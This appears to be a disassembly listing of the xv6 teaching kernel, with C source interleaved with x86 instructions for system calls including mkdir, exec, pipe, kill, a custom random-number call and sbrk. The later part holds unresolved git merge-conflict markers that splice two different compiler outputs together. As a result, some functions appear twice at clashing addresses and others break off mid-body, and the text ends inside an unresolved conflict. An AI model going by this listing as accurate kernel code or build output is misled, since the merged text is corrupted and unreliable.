80105440 <sys_mkdir>:
return fd;
}
int
sys_mkdir(void)
{
80105440: 55 push %ebp
80105441: 89 e5 mov %esp,%ebp
80105443: 83 ec 18 sub $0x18,%esp
char *path;
struct inode *ip;
begin_op();
80105446: e8 65 d7 ff ff call 80102bb0 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
8010544b: 8d 45 f4 lea -0xc(%ebp),%eax
8010544e: 83 ec 08 sub $0x8,%esp
80105451: 50 push %eax
80105452: 6a 00 push $0x0
80105454: e8 67 f6 ff ff call 80104ac0 <argstr>
80105459: 83 c4 10 add $0x10,%esp
8010545c: 85 c0 test %eax,%eax
8010545e: 78 30 js 80105490 <sys_mkdir+0x50>
80105460: 83 ec 0c sub $0xc,%esp
80105463: 8b 45 f4 mov -0xc(%ebp),%eax
80105466: 31 c9 xor %ecx,%ecx
80105468: 6a 00 push $0x0
8010546a: ba 01 00 00 00 mov $0x1,%edx
8010546f: e8 3c f7 ff ff call 80104bb0 <create>
80105474: 83 c4 10 add $0x10,%esp
80105477: 85 c0 test %eax,%eax
80105479: 74 15 je 80105490 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
8010547b: 83 ec 0c sub $0xc,%esp
8010547e: 50 push %eax
8010547f: e8 3c c4 ff ff call 801018c0 <iunlockput>
end_op();
80105484: e8 97 d7 ff ff call 80102c20 <end_op>
return 0;
80105489: 83 c4 10 add $0x10,%esp
8010548c: 31 c0 xor %eax,%eax
}
8010548e: c9 leave
8010548f: c3 ret
char *path;
struct inode *ip;
begin_op();
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
end_op();
80105490: e8 8b d7 ff ff call 80102c20 <end_op>
return -1;
80105495: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
8010549a: c9 leave
8010549b: c3 ret
8010549c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801054a0 <sys_mknod>:
int
sys_mknod(void)
{
801054a0: 55 push %ebp
801054a1: 89 e5 mov %esp,%ebp
801054a3: 83 ec 18 sub $0x18,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
801054a6: e8 05 d7 ff ff call 80102bb0 <begin_op>
if((argstr(0, &path)) < 0 ||
801054ab: 8d 45 ec lea -0x14(%ebp),%eax
801054ae: 83 ec 08 sub $0x8,%esp
801054b1: 50 push %eax
801054b2: 6a 00 push $0x0
801054b4: e8 07 f6 ff ff call 80104ac0 <argstr>
801054b9: 83 c4 10 add $0x10,%esp
801054bc: 85 c0 test %eax,%eax
801054be: 78 60 js 80105520 <sys_mknod+0x80>
argint(1, &major) < 0 ||
801054c0: 8d 45 f0 lea -0x10(%ebp),%eax
801054c3: 83 ec 08 sub $0x8,%esp
801054c6: 50 push %eax
801054c7: 6a 01 push $0x1
801054c9: e8 62 f5 ff ff call 80104a30 <argint>
struct inode *ip;
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
801054ce: 83 c4 10 add $0x10,%esp
801054d1: 85 c0 test %eax,%eax
801054d3: 78 4b js 80105520 <sys_mknod+0x80>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801054d5: 8d 45 f4 lea -0xc(%ebp),%eax
801054d8: 83 ec 08 sub $0x8,%esp
801054db: 50 push %eax
801054dc: 6a 02 push $0x2
801054de: e8 4d f5 ff ff call 80104a30 <argint>
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
801054e3: 83 c4 10 add $0x10,%esp
801054e6: 85 c0 test %eax,%eax
801054e8: 78 36 js 80105520 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
801054ea: 0f bf 45 f4 movswl -0xc(%ebp),%eax
801054ee: 83 ec 0c sub $0xc,%esp
801054f1: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
801054f5: ba 03 00 00 00 mov $0x3,%edx
801054fa: 50 push %eax
801054fb: 8b 45 ec mov -0x14(%ebp),%eax
801054fe: e8 ad f6 ff ff call 80104bb0 <create>
80105503: 83 c4 10 add $0x10,%esp
80105506: 85 c0 test %eax,%eax
80105508: 74 16 je 80105520 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
return -1;
}
iunlockput(ip);
8010550a: 83 ec 0c sub $0xc,%esp
8010550d: 50 push %eax
8010550e: e8 ad c3 ff ff call 801018c0 <iunlockput>
end_op();
80105513: e8 08 d7 ff ff call 80102c20 <end_op>
return 0;
80105518: 83 c4 10 add $0x10,%esp
8010551b: 31 c0 xor %eax,%eax
}
8010551d: c9 leave
8010551e: c3 ret
8010551f: 90 nop
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
80105520: e8 fb d6 ff ff call 80102c20 <end_op>
return -1;
80105525: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
8010552a: c9 leave
8010552b: c3 ret
8010552c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105530 <sys_chdir>:
int
sys_chdir(void)
{
80105530: 55 push %ebp
80105531: 89 e5 mov %esp,%ebp
80105533: 53 push %ebx
80105534: 83 ec 14 sub $0x14,%esp
char *path;
struct inode *ip;
begin_op();
80105537: e8 74 d6 ff ff call 80102bb0 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
8010553c: 8d 45 f4 lea -0xc(%ebp),%eax
8010553f: 83 ec 08 sub $0x8,%esp
80105542: 50 push %eax
80105543: 6a 00 push $0x0
80105545: e8 76 f5 ff ff call 80104ac0 <argstr>
8010554a: 83 c4 10 add $0x10,%esp
8010554d: 85 c0 test %eax,%eax
8010554f: 78 7f js 801055d0 <sys_chdir+0xa0>
80105551: 83 ec 0c sub $0xc,%esp
80105554: ff 75 f4 pushl -0xc(%ebp)
80105557: e8 24 c9 ff ff call 80101e80 <namei>
8010555c: 83 c4 10 add $0x10,%esp
8010555f: 85 c0 test %eax,%eax
80105561: 89 c3 mov %eax,%ebx
80105563: 74 6b je 801055d0 <sys_chdir+0xa0>
end_op();
return -1;
}
ilock(ip);
80105565: 83 ec 0c sub $0xc,%esp
80105568: 50 push %eax
80105569: e8 e2 c0 ff ff call 80101650 <ilock>
if(ip->type != T_DIR){
8010556e: 83 c4 10 add $0x10,%esp
80105571: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80105576: 75 38 jne 801055b0 <sys_chdir+0x80>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105578: 83 ec 0c sub $0xc,%esp
8010557b: 53 push %ebx
8010557c: e8 af c1 ff ff call 80101730 <iunlock>
iput(proc->cwd);
80105581: 58 pop %eax
80105582: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105588: ff 70 68 pushl 0x68(%eax)
8010558b: e8 f0 c1 ff ff call 80101780 <iput>
end_op();
80105590: e8 8b d6 ff ff call 80102c20 <end_op>
proc->cwd = ip;
80105595: 65 a1 04 00 00 00 mov %gs:0x4,%eax
return 0;
8010559b: 83 c4 10 add $0x10,%esp
return -1;
}
iunlock(ip);
iput(proc->cwd);
end_op();
proc->cwd = ip;
8010559e: 89 58 68 mov %ebx,0x68(%eax)
return 0;
801055a1: 31 c0 xor %eax,%eax
}
801055a3: 8b 5d fc mov -0x4(%ebp),%ebx
801055a6: c9 leave
801055a7: c3 ret
801055a8: 90 nop
801055a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
return -1;
}
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
801055b0: 83 ec 0c sub $0xc,%esp
801055b3: 53 push %ebx
801055b4: e8 07 c3 ff ff call 801018c0 <iunlockput>
end_op();
801055b9: e8 62 d6 ff ff call 80102c20 <end_op>
return -1;
801055be: 83 c4 10 add $0x10,%esp
801055c1: b8 ff ff ff ff mov $0xffffffff,%eax
801055c6: eb db jmp 801055a3 <sys_chdir+0x73>
801055c8: 90 nop
801055c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
char *path;
struct inode *ip;
begin_op();
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
end_op();
801055d0: e8 4b d6 ff ff call 80102c20 <end_op>
return -1;
801055d5: b8 ff ff ff ff mov $0xffffffff,%eax
801055da: eb c7 jmp 801055a3 <sys_chdir+0x73>
801055dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801055e0 <sys_exec>:
return 0;
}
int
sys_exec(void)
{
801055e0: 55 push %ebp
801055e1: 89 e5 mov %esp,%ebp
801055e3: 57 push %edi
801055e4: 56 push %esi
801055e5: 53 push %ebx
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801055e6: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
return 0;
}
int
sys_exec(void)
{
801055ec: 81 ec a4 00 00 00 sub $0xa4,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801055f2: 50 push %eax
801055f3: 6a 00 push $0x0
801055f5: e8 c6 f4 ff ff call 80104ac0 <argstr>
801055fa: 83 c4 10 add $0x10,%esp
801055fd: 85 c0 test %eax,%eax
801055ff: 78 7f js 80105680 <sys_exec+0xa0>
80105601: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
80105607: 83 ec 08 sub $0x8,%esp
8010560a: 50 push %eax
8010560b: 6a 01 push $0x1
8010560d: e8 1e f4 ff ff call 80104a30 <argint>
80105612: 83 c4 10 add $0x10,%esp
80105615: 85 c0 test %eax,%eax
80105617: 78 67 js 80105680 <sys_exec+0xa0>
return -1;
}
memset(argv, 0, sizeof(argv));
80105619: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
8010561f: 83 ec 04 sub $0x4,%esp
80105622: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
80105628: 68 80 00 00 00 push $0x80
8010562d: 6a 00 push $0x0
8010562f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
80105635: 50 push %eax
80105636: 31 db xor %ebx,%ebx
80105638: e8 03 f1 ff ff call 80104740 <memset>
8010563d: 83 c4 10 add $0x10,%esp
for(i=0;; i++){
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80105640: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
80105646: 83 ec 08 sub $0x8,%esp
80105649: 57 push %edi
8010564a: 8d 04 98 lea (%eax,%ebx,4),%eax
8010564d: 50 push %eax
8010564e: e8 5d f3 ff ff call 801049b0 <fetchint>
80105653: 83 c4 10 add $0x10,%esp
80105656: 85 c0 test %eax,%eax
80105658: 78 26 js 80105680 <sys_exec+0xa0>
return -1;
if(uarg == 0){
8010565a: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
80105660: 85 c0 test %eax,%eax
80105662: 74 2c je 80105690 <sys_exec+0xb0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
80105664: 83 ec 08 sub $0x8,%esp
80105667: 56 push %esi
80105668: 50 push %eax
80105669: e8 72 f3 ff ff call 801049e0 <fetchstr>
8010566e: 83 c4 10 add $0x10,%esp
80105671: 85 c0 test %eax,%eax
80105673: 78 0b js 80105680 <sys_exec+0xa0>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
80105675: 83 c3 01 add $0x1,%ebx
80105678: 83 c6 04 add $0x4,%esi
if(i >= NELEM(argv))
8010567b: 83 fb 20 cmp $0x20,%ebx
8010567e: 75 c0 jne 80105640 <sys_exec+0x60>
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
}
80105680: 8d 65 f4 lea -0xc(%ebp),%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
80105683: b8 ff ff ff ff mov $0xffffffff,%eax
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
}
80105688: 5b pop %ebx
80105689: 5e pop %esi
8010568a: 5f pop %edi
8010568b: 5d pop %ebp
8010568c: c3 ret
8010568d: 8d 76 00 lea 0x0(%esi),%esi
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
80105690: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80105696: 83 ec 08 sub $0x8,%esp
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
argv[i] = 0;
80105699: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
801056a0: 00 00 00 00
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801056a4: 50 push %eax
801056a5: ff b5 5c ff ff ff pushl -0xa4(%ebp)
801056ab: e8 40 b3 ff ff call 801009f0 <exec>
801056b0: 83 c4 10 add $0x10,%esp
}
801056b3: 8d 65 f4 lea -0xc(%ebp),%esp
801056b6: 5b pop %ebx
801056b7: 5e pop %esi
801056b8: 5f pop %edi
801056b9: 5d pop %ebp
801056ba: c3 ret
801056bb: 90 nop
801056bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801056c0 <sys_pipe>:
int
sys_pipe(void)
{
801056c0: 55 push %ebp
801056c1: 89 e5 mov %esp,%ebp
801056c3: 57 push %edi
801056c4: 56 push %esi
801056c5: 53 push %ebx
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801056c6: 8d 45 dc lea -0x24(%ebp),%eax
return exec(path, argv);
}
int
sys_pipe(void)
{
801056c9: 83 ec 20 sub $0x20,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801056cc: 6a 08 push $0x8
801056ce: 50 push %eax
801056cf: 6a 00 push $0x0
801056d1: e8 9a f3 ff ff call 80104a70 <argptr>
801056d6: 83 c4 10 add $0x10,%esp
801056d9: 85 c0 test %eax,%eax
801056db: 78 48 js 80105725 <sys_pipe+0x65>
return -1;
if(pipealloc(&rf, &wf) < 0)
801056dd: 8d 45 e4 lea -0x1c(%ebp),%eax
801056e0: 83 ec 08 sub $0x8,%esp
801056e3: 50 push %eax
801056e4: 8d 45 e0 lea -0x20(%ebp),%eax
801056e7: 50 push %eax
801056e8: e8 63 dc ff ff call 80103350 <pipealloc>
801056ed: 83 c4 10 add $0x10,%esp
801056f0: 85 c0 test %eax,%eax
801056f2: 78 31 js 80105725 <sys_pipe+0x65>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
801056f4: 8b 5d e0 mov -0x20(%ebp),%ebx
801056f7: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
801056fe: 31 c0 xor %eax,%eax
if(proc->ofile[fd] == 0){
80105700: 8b 54 81 28 mov 0x28(%ecx,%eax,4),%edx
80105704: 85 d2 test %edx,%edx
80105706: 74 28 je 80105730 <sys_pipe+0x70>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105708: 83 c0 01 add $0x1,%eax
8010570b: 83 f8 10 cmp $0x10,%eax
8010570e: 75 f0 jne 80105700 <sys_pipe+0x40>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
proc->ofile[fd0] = 0;
fileclose(rf);
80105710: 83 ec 0c sub $0xc,%esp
80105713: 53 push %ebx
80105714: e8 f7 b6 ff ff call 80100e10 <fileclose>
fileclose(wf);
80105719: 58 pop %eax
8010571a: ff 75 e4 pushl -0x1c(%ebp)
8010571d: e8 ee b6 ff ff call 80100e10 <fileclose>
return -1;
80105722: 83 c4 10 add $0x10,%esp
80105725: b8 ff ff ff ff mov $0xffffffff,%eax
8010572a: eb 45 jmp 80105771 <sys_pipe+0xb1>
8010572c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105730: 8d 34 81 lea (%ecx,%eax,4),%esi
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
return -1;
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80105733: 8b 7d e4 mov -0x1c(%ebp),%edi
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105736: 31 d2 xor %edx,%edx
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
80105738: 89 5e 28 mov %ebx,0x28(%esi)
8010573b: 90 nop
8010573c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
80105740: 83 7c 91 28 00 cmpl $0x0,0x28(%ecx,%edx,4)
80105745: 74 19 je 80105760 <sys_pipe+0xa0>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105747: 83 c2 01 add $0x1,%edx
8010574a: 83 fa 10 cmp $0x10,%edx
8010574d: 75 f1 jne 80105740 <sys_pipe+0x80>
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
proc->ofile[fd0] = 0;
8010574f: c7 46 28 00 00 00 00 movl $0x0,0x28(%esi)
80105756: eb b8 jmp 80105710 <sys_pipe+0x50>
80105758: 90 nop
80105759: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
80105760: 89 7c 91 28 mov %edi,0x28(%ecx,%edx,4)
proc->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
80105764: 8b 4d dc mov -0x24(%ebp),%ecx
80105767: 89 01 mov %eax,(%ecx)
fd[1] = fd1;
80105769: 8b 45 dc mov -0x24(%ebp),%eax
8010576c: 89 50 04 mov %edx,0x4(%eax)
return 0;
8010576f: 31 c0 xor %eax,%eax
}
80105771: 8d 65 f4 lea -0xc(%ebp),%esp
80105774: 5b pop %ebx
80105775: 5e pop %esi
80105776: 5f pop %edi
80105777: 5d pop %ebp
80105778: c3 ret
80105779: 66 90 xchg %ax,%ax
8010577b: 66 90 xchg %ax,%ax
8010577d: 66 90 xchg %ax,%ax
8010577f: 90 nop
80105780 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
80105780: 55 push %ebp
80105781: 89 e5 mov %esp,%ebp
return fork();
}
80105783: 5d pop %ebp
#include "proc.h"
int
sys_fork(void)
{
return fork();
80105784: e9 47 e2 ff ff jmp 801039d0 <fork>
80105789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105790 <sys_exit>:
}
int
sys_exit(void)
{
80105790: 55 push %ebp
80105791: 89 e5 mov %esp,%ebp
80105793: 83 ec 08 sub $0x8,%esp
exit();
80105796: e8 25 e6 ff ff call 80103dc0 <exit>
return 0; // not reached
}
8010579b: 31 c0 xor %eax,%eax
8010579d: c9 leave
8010579e: c3 ret
8010579f: 90 nop
801057a0 <sys_wait>:
int
sys_wait(void)
{
801057a0: 55 push %ebp
801057a1: 89 e5 mov %esp,%ebp
return wait();
}
801057a3: 5d pop %ebp
}
int
sys_wait(void)
{
return wait();
801057a4: e9 67 e8 ff ff jmp 80104010 <wait>
801057a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801057b0 <sys_kill>:
}
int
sys_kill(void)
{
801057b0: 55 push %ebp
801057b1: 89 e5 mov %esp,%ebp
801057b3: 83 ec 20 sub $0x20,%esp
int pid;
if(argint(0, &pid) < 0)
801057b6: 8d 45 f4 lea -0xc(%ebp),%eax
801057b9: 50 push %eax
801057ba: 6a 00 push $0x0
801057bc: e8 6f f2 ff ff call 80104a30 <argint>
801057c1: 83 c4 10 add $0x10,%esp
801057c4: 85 c0 test %eax,%eax
801057c6: 78 18 js 801057e0 <sys_kill+0x30>
return -1;
return kill(pid);
801057c8: 83 ec 0c sub $0xc,%esp
801057cb: ff 75 f4 pushl -0xc(%ebp)
801057ce: e8 7d e9 ff ff call 80104150 <kill>
801057d3: 83 c4 10 add $0x10,%esp
}
801057d6: c9 leave
801057d7: c3 ret
801057d8: 90 nop
801057d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
sys_kill(void)
{
int pid;
if(argint(0, &pid) < 0)
return -1;
801057e0: b8 ff ff ff ff mov $0xffffffff,%eax
return kill(pid);
}
801057e5: c9 leave
801057e6: c3 ret
801057e7: 89 f6 mov %esi,%esi
801057e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801057f0 <sys_random>:
int
sys_random(void)//random number generator
{
801057f0: 55 push %ebp
801057f1: 89 e5 mov %esp,%ebp
801057f3: 53 push %ebx
int n,x;
if(argint(0, &n) < 0)
801057f4: 8d 45 f4 lea -0xc(%ebp),%eax
return kill(pid);
}
int
sys_random(void)//random number generator
{
801057f7: 83 ec 1c sub $0x1c,%esp
int n,x;
if(argint(0, &n) < 0)
801057fa: 50 push %eax
801057fb: 6a 00 push $0x0
801057fd: e8 2e f2 ff ff call 80104a30 <argint>
80105802: 83 c4 10 add $0x10,%esp
80105805: 85 c0 test %eax,%eax
80105807: 78 37 js 80105840 <sys_random+0x50>
return -1;
acquire(&tickslock);
80105809: 83 ec 0c sub $0xc,%esp
8010580c: 68 e0 4d 11 80 push $0x80114de0
80105811: e8 fa ec ff ff call 80104510 <acquire>
x=random(n);
80105816: 58 pop %eax
80105817: ff 75 f4 pushl -0xc(%ebp)
8010581a: e8 d1 e2 ff ff call 80103af0 <random>
8010581f: 89 c3 mov %eax,%ebx
release(&tickslock);
80105821: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
80105828: e8 c3 ee ff ff call 801046f0 <release>
return x;
8010582d: 83 c4 10 add $0x10,%esp
80105830: 89 d8 mov %ebx,%eax
}
80105832: 8b 5d fc mov -0x4(%ebp),%ebx
80105835: c9 leave
80105836: c3 ret
80105837: 89 f6 mov %esi,%esi
80105839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
int
sys_kill(void)
{
80105550: 55 push %ebp
80105551: 89 e5 mov %esp,%ebp
80105553: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
80105556: 8d 45 f4 lea -0xc(%ebp),%eax
80105559: 89 44 24 04 mov %eax,0x4(%esp)
8010555d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105564: e8 67 f2 ff ff call 801047d0 <argint>
80105569: 85 c0 test %eax,%eax
8010556b: 78 13 js 80105580 <sys_kill+0x30>
return -1;
return kill(pid);
8010556d: 8b 45 f4 mov -0xc(%ebp),%eax
80105570: 89 04 24 mov %eax,(%esp)
80105573: e8 c8 e9 ff ff call 80103f40 <kill>
}
80105578: c9 leave
80105579: c3 ret
8010557a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
sys_kill(void)
{
int pid;
if(argint(0, &pid) < 0)
return -1;
80105580: b8 ff ff ff ff mov $0xffffffff,%eax
return kill(pid);
}
80105585: c9 leave
80105586: c3 ret
80105587: 89 f6 mov %esi,%esi
80105589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105590 <sys_random>:
int
sys_random(void)//random number generator
{
80105590: 55 push %ebp
80105591: 89 e5 mov %esp,%ebp
80105593: 53 push %ebx
80105594: 83 ec 24 sub $0x24,%esp
int n,x;
if(argint(0, &n) < 0)
80105597: 8d 45 f4 lea -0xc(%ebp),%eax
8010559a: 89 44 24 04 mov %eax,0x4(%esp)
8010559e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801055a5: e8 26 f2 ff ff call 801047d0 <argint>
801055aa: 85 c0 test %eax,%eax
801055ac: 78 32 js 801055e0 <sys_random+0x50>
return -1;
acquire(&tickslock);
801055ae: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
801055b5: e8 c6 ed ff ff call 80104380 <acquire>
x=random(n);
801055ba: 8b 45 f4 mov -0xc(%ebp),%eax
801055bd: 89 04 24 mov %eax,(%esp)
801055c0: e8 5b e4 ff ff call 80103a20 <random>
release(&tickslock);
801055c5: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
{
int n,x;
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
x=random(n);
801055cc: 89 c3 mov %eax,%ebx
release(&tickslock);
801055ce: e8 dd ee ff ff call 801044b0 <release>
return x;
801055d3: 89 d8 mov %ebx,%eax
}
801055d5: 83 c4 24 add $0x24,%esp
801055d8: 5b pop %ebx
801055d9: 5d pop %ebp
801055da: c3 ret
801055db: 90 nop
801055dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
sys_random(void)//random number generator
{
int n,x;
if(argint(0, &n) < 0)
return -1;
<<<<<<< HEAD
80105840: b8 ff ff ff ff mov $0xffffffff,%eax
80105845: eb eb jmp 80105832 <sys_random+0x42>
80105847: 89 f6 mov %esi,%esi
80105849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105850 <sys_getpid>:
=======
801055e0: b8 ff ff ff ff mov $0xffffffff,%eax
801055e5: eb ee jmp 801055d5 <sys_random+0x45>
801055e7: 89 f6 mov %esi,%esi
801055e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801055f0 <sys_getpid>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
sys_getpid(void)
{
return proc->pid;
<<<<<<< HEAD
80105850: 65 a1 04 00 00 00 mov %gs:0x4,%eax
=======
801055f0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
int
sys_getpid(void)
{
<<<<<<< HEAD
80105856: 55 push %ebp
80105857: 89 e5 mov %esp,%ebp
return proc->pid;
80105859: 8b 40 10 mov 0x10(%eax),%eax
}
8010585c: 5d pop %ebp
8010585d: c3 ret
8010585e: 66 90 xchg %ax,%ax
80105860 <sys_sbrk>:
=======
801055f6: 55 push %ebp
801055f7: 89 e5 mov %esp,%ebp
return proc->pid;
}
801055f9: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
sys_getpid(void)
{
<<<<<<< HEAD
80105860: 55 push %ebp
80105861: 89 e5 mov %esp,%ebp
80105863: 53 push %ebx
int addr;
int n;
if(argint(0, &n) < 0)
80105864: 8d 45 f4 lea -0xc(%ebp),%eax
=======
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return proc->pid;
801055fa: 8b 40 10 mov 0x10(%eax),%eax
}
801055fd: c3 ret
801055fe: 66 90 xchg %ax,%ax
80105600 <sys_sbrk>:
int
sys_sbrk(void)
{
<<<<<<< HEAD
80105867: 83 ec 1c sub $0x1c,%esp
=======
80105600: 55 push %ebp
80105601: 89 e5 mov %esp,%ebp
80105603: 53 push %ebx
80105604: 83 ec 24 sub $0x24,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int addr;
int n;
if(argint(0, &n) < 0)
<<<<<<< HEAD
8010586a: 50 push %eax
8010586b: 6a 00 push $0x0
8010586d: e8 be f1 ff ff call 80104a30 <argint>
80105872: 83 c4 10 add $0x10,%esp
80105875: 85 c0 test %eax,%eax
80105877: 78 27 js 801058a0 <sys_sbrk+0x40>
return -1;
addr = proc->sz;
80105879: 65 a1 04 00 00 00 mov %gs:0x4,%eax
if(growproc(n) < 0)
8010587f: 83 ec 0c sub $0xc,%esp
=======
80105607: 8d 45 f4 lea -0xc(%ebp),%eax
8010560a: 89 44 24 04 mov %eax,0x4(%esp)
8010560e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105615: e8 b6 f1 ff ff call 801047d0 <argint>
8010561a: 85 c0 test %eax,%eax
8010561c: 78 22 js 80105640 <sys_sbrk+0x40>
return -1;
addr = proc->sz;
8010561e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
if(growproc(n) < 0)
80105624: 8b 55 f4 mov -0xc(%ebp),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
addr = proc->sz;
<<<<<<< HEAD
80105882: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105884: ff 75 f4 pushl -0xc(%ebp)
80105887: e8 d4 e0 ff ff call 80103960 <growproc>
8010588c: 83 c4 10 add $0x10,%esp
8010588f: 85 c0 test %eax,%eax
80105891: 78 0d js 801058a0 <sys_sbrk+0x40>
return -1;
return addr;
80105893: 89 d8 mov %ebx,%eax
}
80105895: 8b 5d fc mov -0x4(%ebp),%ebx
80105898: c9 leave
80105899: c3 ret
8010589a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
80105627: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105629: 89 14 24 mov %edx,(%esp)
